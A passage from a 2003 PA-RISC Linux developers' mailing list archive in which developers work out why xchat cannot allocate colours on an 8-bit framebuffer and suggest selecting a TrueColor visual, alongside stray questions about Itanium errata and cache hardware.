Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id CED2248D8; Fri, 15 Aug 2003 11:21:42 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <W9958529574305441060899998@webmail4>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19228

On Thu, Aug 14, 2003 at 10:26:38PM +0000, caslivkoff@speakeasy.net wrote:
> Just to be sure this is indeed a colormap issue,

Ok - it's a color map issue.
I added some printf's to xchat-2.0.3/fe-gtk/palette.c:palette_alloc().

I'll see how hard it is to teach xchat to use it's own color map.

grant

grundler <527>xchat
palette_alloc() cmap has 256 colors
palette_alloc() alloc color failed for 21 (0x0 0x0 0xffff)
palette_alloc() alloc color failed for 20 (0x8c8c 0x1010 0x1010)
palette_alloc() alloc color failed for 19 (0x0 0x0 0x0)
palette_alloc() alloc color failed for 18 (0xc866 0xc866 0xc866)
palette_alloc() alloc color failed for 17 (0x0 0x0 0x0)
palette_alloc() alloc color failed for 16 (0xa4a4 0xdfdf 0xffff)
palette_alloc() alloc color failed for 15 (0x9999 0x9999 0x9999)
palette_alloc() alloc color failed for 14 (0x7777 0x7777 0x7777)
palette_alloc() alloc color failed for 13 (0xeeee 0x2222 0xeeee)
palette_alloc() alloc color failed for 12 (0x0 0x0 0xffff)
palette_alloc() alloc color failed for 11 (0x3333 0xeeee 0xffff)
palette_alloc() alloc color failed for 10 (0x0 0xcccc 0xcccc)
palette_alloc() alloc color failed for 9 (0x3333 0xdede 0x5555)
palette_alloc() alloc color failed for 8 (0xeeee 0xdddd 0x2222)
palette_alloc() alloc color failed for 7 (0xffff 0xaaaa 0x0)
palette_alloc() alloc color failed for 6 (0xbbbb 0x0 0xbbbb)
palette_alloc() alloc color failed for 5 (0xaaaa 0x0 0x0)
palette_alloc() alloc color failed for 4 (0xdddd 0x0 0x0)
palette_alloc() alloc color failed for 3 (0x0 0xcccc 0x0)
palette_alloc() alloc color failed for 2 (0x0 0x0 0xcccc)
palette_alloc() alloc color failed for 1 (0x0 0x0 0x0)
palette_alloc() alloc color failed for 0 (0xcf3c 0xcf3c 0xcf3c)
grundler <528>



From - Thu Nov 08 21:28:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: xchat colors (Was Re:  [parisc-linux] xfree86 4.2.1-9 build
	problem)
Date: 15 Aug 2003 13:19:45 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <1060971586.2322.213.camel@fuzzy>
References: <W9958529574305441060899998@webmail4> 
	<20030815172142.GA19042@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622689 29569 80.91.229.3 (22 Nov 2014 02:18:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:09 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 15 12:24:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id C30F048DC
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Aug 2003 12:24:01 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h7FIJjI32586;
	Fri, 15 Aug 2003 14:19:46 -0400
In-Reply-To: <20030815172142.GA19042@dsl2.external.hp.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9.7x.1) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19229

On Fri, 2003-08-15 at 12:21, Grant Grundler wrote:
> On Thu, Aug 14, 2003 at 10:26:38PM +0000, caslivkoff@speakeasy.net wrote:
> > Just to be sure this is indeed a colormap issue,
> 
> Ok - it's a color map issue.
> I added some printf's to xchat-2.0.3/fe-gtk/palette.c:palette_alloc().
> 
> I'll see how hard it is to teach xchat to use it's own color map.

Perhaps take Alan's suggestion instead...give the framebuffer a Direct
or True Colour visual instead of Pseudocolour.

That will look rather strange because you'll only get two or three bits
for each primary, but it will mean that you can't run out of colours.

I'll see if I can figure out how to set this up...the documentation
appears to be a bit sparse [unless Alan has any hints].

James




From - Thu Nov 08 21:28:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: xchat colors (Was Re:  [parisc-linux] xfree86 4.2.1-9 build
	problem)
Date: 15 Aug 2003 14:00:57 -0500
Lines: 52
Approved: news@gmane.org
Message-ID: <1060974059.3260.261.camel@fuzzy>
References: <W9958529574305441060899998@webmail4> 
	<20030815172142.GA19042@dsl2.external.hp.com> 
	<1060971586.2322.213.camel@fuzzy>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622689 29571 80.91.229.3 (22 Nov 2014 02:18:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:09 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 15 13:01:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8DB3148D7
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Aug 2003 13:01:03 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h7FJ0wI02373;
	Fri, 15 Aug 2003 15:00:58 -0400
In-Reply-To: <1060971586.2322.213.camel@fuzzy>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9.7x.1) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19230

On Fri, 2003-08-15 at 13:19, James Bottomley wrote:
> I'll see if I can figure out how to set this up...the documentation
> appears to be a bit sparse [unless Alan has any hints].

OK, the way you do this is to start x and then type xdpyinfo.  As part
of a general list, it should give you all the visuals (including the one
it's picked as the default).

Then, you simply choose the TrueColor visual, count its index down from
the top (starting at zero---note, this isn't the visual id xdpyinfo
gives you) and then feed this back into startx:

startx -- -cc <visual index>

So on the B180, my visuals output looks like:

  number of visuals:    8
  default visual id:  0x29
  visual:
    visual id:    0x27
    class:    PseudoColor
    depth:    8 planes
    available colormap entries:    256
    red, green, blue masks:    0x0, 0x0, 0x0
    significant bits in color specification:    8 bits
  visual:
    visual id:    0x28
    class:    GrayScale
    depth:    8 planes
    available colormap entries:    256
    red, green, blue masks:    0x0, 0x0, 0x0
    significant bits in color specification:    8 bits
  visual:
    visual id:    0x29
    class:    StaticColor
    depth:    8 planes
    available colormap entries:    256
    red, green, blue masks:    0x7, 0x38, 0xc0
    significant bits in color specification:    8 bits
 [...]

So to get the StaticColor visual, I issue

startx -- -cc 2

The colours are slightly off, though (my white has now got a bluish
tinge, but I assume you can find a better visual than the one I chose).

James




From - Thu Nov 08 21:28:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: xchat colors (Was Re:  [parisc-linux] xfree86 4.2.1-9 build
	problem)
Date: 16 Aug 2003 01:43:01 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <1060994580.9255.1.camel@dhcp23.swansea.linux.org.uk>
References: <W9958529574305441060899998@webmail4>
	 <20030815172142.GA19042@dsl2.external.hp.com>
	 <1060971586.2322.213.camel@fuzzy>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622689 29576 80.91.229.3 (22 Nov 2014 02:18:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:09 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 15 18:43:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dhcp23.swansea.linux.org.uk (pc1-cwma1-5-cust4.swan.cable.ntl.com [80.5.120.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1E20148E5
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Aug 2003 18:43:18 -0600 (MDT)
Original-Received: from dhcp23.swansea.linux.org.uk (localhost.localdomain [127.0.0.1])
	by dhcp23.swansea.linux.org.uk (8.12.9/8.12.9) with ESMTP id h7G0h3ra009355;
	Sat, 16 Aug 2003 01:43:03 +0100
Original-Received: (from alan@localhost)
	by dhcp23.swansea.linux.org.uk (8.12.9/8.12.9/Submit) id h7G0h1aq009353;
	Sat, 16 Aug 2003 01:43:01 +0100
X-Authentication-Warning: dhcp23.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <1060971586.2322.213.camel@fuzzy>
X-Mailer: Ximian Evolution 1.4.3 (1.4.3-3) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19231

On Gwe, 2003-08-15 at 19:19, James Bottomley wrote:
> I'll see if I can figure out how to set this up...the documentation
> appears to be a bit sparse [unless Alan has any hints].

In the display section

	Visual  "TrueColor"

See man XF86Config



From - Thu Nov 08 21:28:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: alaskan@telusplanet.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Merced Itanium Errata
Date: Sat, 16 Aug 2003 00:58:16 -0600
Lines: 5
Approved: news@gmane.org
Message-ID: <1flrjv83n5pmfmikmhfrlkkb60knvvnst4@4ax.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622690 29582 80.91.229.3 (22 Nov 2014 02:18:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 16 00:58:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from priv-edtnes10-hme0.telusplanet.net (outbound02.telus.net [199.185.220.221])
	by dsl2.external.hp.com (Postfix) with ESMTP id E21854844
	for <parisc-linux@lists.parisc-linux.org>; Sat, 16 Aug 2003 00:58:04 -0600 (MDT)
Original-Received: from win2kbox ([66.222.160.160])
          by priv-edtnes10-hme0.telusplanet.net
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with SMTP
          id <20030816065803.GTCI4658.priv-edtnes10-hme0.telusplanet.net@win2kbox>
          for <parisc-linux@lists.parisc-linux.org>;
          Sat, 16 Aug 2003 00:58:03 -0600
X-Mailer: Forte Agent 1.93/32.576 English (American)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19232

Wondering if anyone has experienced problems with the first gen
Itanium Merced chips and its supposed floating point bug? Is it worth
the effort to get new CPU's? being offered?



From - Thu Nov 08 21:28:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Merced Itanium Errata
Date: Sat, 16 Aug 2003 14:26:45 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20030816132645.GA19630@parcelfarce.linux.theplanet.co.uk>
References: <1flrjv83n5pmfmikmhfrlkkb60knvvnst4@4ax.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622690 29584 80.91.229.3 (22 Nov 2014 02:18:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: alaskan@telusplanet.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 16 07:26:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E8F494856
	for <parisc-linux@lists.parisc-linux.org>; Sat, 16 Aug 2003 07:26:47 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19o14v-00058G-J8; Sat, 16 Aug 2003 14:26:45 +0100
Content-Disposition: inline
In-Reply-To: <1flrjv83n5pmfmikmhfrlkkb60knvvnst4@4ax.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19233

On Sat, Aug 16, 2003 at 12:58:16AM -0600, alaskan@telusplanet.net wrote:
> Wondering if anyone has experienced problems with the first gen
> Itanium Merced chips and its supposed floating point bug? Is it worth
> the effort to get new CPU's? being offered?

this is parisc, not ia64.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chuck Slivkoff <caslivkoff@speakeasy.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: xchat colors (Was Re:  [parisc-linux] xfree86 4.2.1-9 build problem)
Date: Sat, 16 Aug 2003 11:18:50 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <F09536E0-CFFC-11D7-B685-000393581E44@speakeasy.net>
References: <20030815172142.GA19042@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v552)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622690 29590 80.91.229.3 (22 Nov 2014 02:18:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:10 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 16 09:18:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.speakeasy.net (mail7.speakeasy.net [216.254.0.207])
	by dsl2.external.hp.com (Postfix) with ESMTP id A8A544843
	for <parisc-linux@lists.parisc-linux.org>; Sat, 16 Aug 2003 09:18:48 -0600 (MDT)
Original-Received: (qmail 25900 invoked from network); 16 Aug 2003 15:18:47 -0000
Original-Received: from unknown (HELO speakeasy.net) (caslivkoff@[216.27.161.152])
          (envelope-sender <caslivkoff@speakeasy.net>)
          by mail7.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <parisc-linux@lists.parisc-linux.org>; 16 Aug 2003 15:18:47 -0000
In-Reply-To: <20030815172142.GA19042@dsl2.external.hp.com>
X-Mailer: Apple Mail (2.552)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19234

On Friday, Aug 15, 2003, at 13:21 US/Eastern, Grant Grundler wrote:

> Ok - it's a color map issue.
> I added some printf's to xchat-2.0.3/fe-gtk/palette.c:palette_alloc().
>
> I'll see how hard it is to teach xchat to use it's own color map.

I recall looking into this once with a GTK+ app. It wasn't trivial. 
Even if you do get it coded, you will likely end-up with colormap 
flashing (aka "technicolor effect") when focus is switched in & out of 
the client window. The Vis-EG has 2 HW LUTs which under HP-UX, would 
prevent the technicolor effect by allowing 2 colormaps to be installed 
in HW simultaneously. But, I don't know if the stifb driver was written 
to take advantage of them both. If you can accept the "off" colors that 
an 8-bit TrueColor default visual would give you (due to the uneven 
3/3/2 split between R/G/B), that would be the easiest solution & would 
ensure that all clients can get the colors they want.

This is on a Visualize-EG, right? Under HP-UX, the Vis-EG (standard on 
the PCI card & optionally on the GSC & integrated versions) has the 
capability of doing 8/8 double-buffering with another 8-bit overlay. It 
would be great if the stifb driver could really take advantage of all 
24-planes (or even 16), but I don't think that's been implemeneted. 
Does anyone know if it's even possible? (I know NeXTStep on the 712 was 
able to somehow squeeze 16-bit graphics out of the supposedly 8-bit 
Artist adapter. Anyone have any idea how this was done?)

BTW, there's a pretty good but somewhat old (May 1996) white-paper here:

   http://www.hp.com/xwindow/sharedInfo/Whitepapers/Visuals/visuals.html

that discusses X11 visuals and the capabilities of some of the HP 
graphics adapters under HP-UX.


-chuck



From - Thu Nov 08 21:28:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: alaskan@telusplanet.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Merced Itanium Errata
Date: Sat, 16 Aug 2003 14:39:20 -0600
Lines: 7
Approved: news@gmane.org
Message-ID: <tg5tjv878rh7adpn5kapf903l6bqbpgp5m@4ax.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622691 29597 80.91.229.3 (22 Nov 2014 02:18:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 16 14:39:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from priv-edtnes28.telusplanet.net (outbound04.telus.net [199.185.220.223])
	by dsl2.external.hp.com (Postfix) with ESMTP id 66F674830
	for <parisc-linux@lists.parisc-linux.org>; Sat, 16 Aug 2003 14:39:03 -0600 (MDT)
Original-Received: from win2kbox ([66.222.160.160]) by priv-edtnes28.telusplanet.net
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with SMTP
          id <20030816203902.QWQM7319.priv-edtnes28.telusplanet.net@win2kbox>
          for <parisc-linux@lists.parisc-linux.org>;
          Sat, 16 Aug 2003 14:39:02 -0600
X-Mailer: Forte Agent 1.93/32.576 English (American)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19235

Wondering if anyone has experienced problems with the first gen
Itanium Merced chips and its supposed floating point bug?=20

Is it worth the risk to install these alternate stepping CPU's?




From - Thu Nov 08 21:28:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] N Class SMP pb ?
Date: Sat, 16 Aug 2003 22:07:29 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <3F3EAB21.2030206@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622691 29606 80.91.229.3 (22 Nov 2014 02:18:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:11 +0000 (UTC)
To: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 16 16:07:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7797E4840
	for <parisc-linux@lists.parisc-linux.org>; Sat, 16 Aug 2003 16:07:12 -0600 (MDT)
Original-Received: from [62.235.120.19] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19o9CY-0006sq-00; Sun, 17 Aug 2003 00:07:10 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030714 Debian/1.4-2
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19236

Hi Willy,

I come back to you about your mail: 
<http://lists.parisc-linux.org/pipermail/parisc-linux/2002-March/015827.html>
in which you spoke about "Strech (the memory controller)". Do you have 
more docs about this device?

I put you this question because in "PA 2.0 architecture" book, it is 
mentionned that 'systems' could be equiped with a hardware cache manager 
and so i would like to know if "Strech" is such a device.
Secondarily, is there some hp9000 with such 'hardware cache' manager and 
which one?

btw is there a means to get cache's tags and corresponding physical 
adresses to put it in a table to dump it for each processors (assuming 
that each processor cache are managed independently: don't have yet 
